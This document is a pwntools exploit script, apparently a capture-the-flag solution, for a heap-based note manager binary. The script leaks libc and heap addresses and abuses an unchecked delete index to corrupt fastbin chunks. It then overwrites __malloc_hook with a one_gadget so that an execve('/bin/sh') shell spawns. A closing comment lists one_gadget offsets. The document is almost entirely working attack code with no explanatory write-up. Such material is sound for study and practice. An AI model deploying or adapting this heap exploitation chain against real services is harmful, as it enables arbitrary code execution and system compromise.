1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113
| from pwn import *
def add(p, size, content): p.sendlineafter('Your choice:', str(2)) p.sendafter('length of daily:', str(size)) p.sendafter('you daily\n', content)
def show(p): p.sendlineafter('Your choice:', str(1))
def delete(p, idx): p.sendlineafter('Your choice:', str(4)) p.sendlineafter('Please enter the index of daily:', str(idx))
def change(p, idx, content): p.sendlineafter('Your choice:', str(3)) p.sendlineafter('Please enter the index of daily:', str(idx)) p.sendafter('Please enter the new daily\n', content)
def pwn(): BIN_PATH = './pwn' DEBUG = 0 context.arch = 'amd64' if DEBUG == 1: p = process(BIN_PATH) elf = ELF(BIN_PATH) context.log_level = 'debug' context.terminal = ['tmux', 'split', '-h'] if context.arch == 'amd64': libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: libc = ELF('/lib/i386-linux-gnu/libc.so.6') else: p = remote('', ) elf = ELF(BIN_PATH) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
add(p, 0x100, 'sunichi') add(p, 0x68, 'sunichi') add(p, 0x68, 'sunichi') add(p, 0x68, 'sunichi')
delete(p, 0) add(p, 0x100, 's') show(p)
p.recvuntil('0 : ') recv = p.recv(6) + '\x00\x00' if DEBUG == 1: libc.address = u64(recv) - (0x00007f2a09751b73 - 0x00007f2a0938d000) else: libc.address = u64(recv) - (0x00007f2a09751b73 - 0x00007f2a0938d000)
delete(p, 1) delete(p, 2)
add(p, 0x68, 's') show(p) p.recvuntil('1 : ') recv = p.recvuntil('3 : ', drop=True) recv = recv.ljust(8, '\x00') heap_base = u64(recv) - (0x0000000001bba173 - 0x1bba000) change(p, 1, 'a' * 8 * 3 + p64(heap_base + 0x120)) delete(p, 1) delete(p, (heap_base + 0x1a0 - 0x602060) / 0x10)
add(p, 0x68, p64(libc.symbols['__malloc_hook'] - 0x13)) add(p, 0x68, '\n') add(p, 0x68, '\n') add(p, 0x68, '\x00\x00\x00' + p64(libc.address + 0xf02a4))
delete(p, 1) delete(p, 4)
print hex(libc.address) print hex(heap_base)
p.interactive() p.close()
if __name__ == '__main__': pwn()
''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL '''
|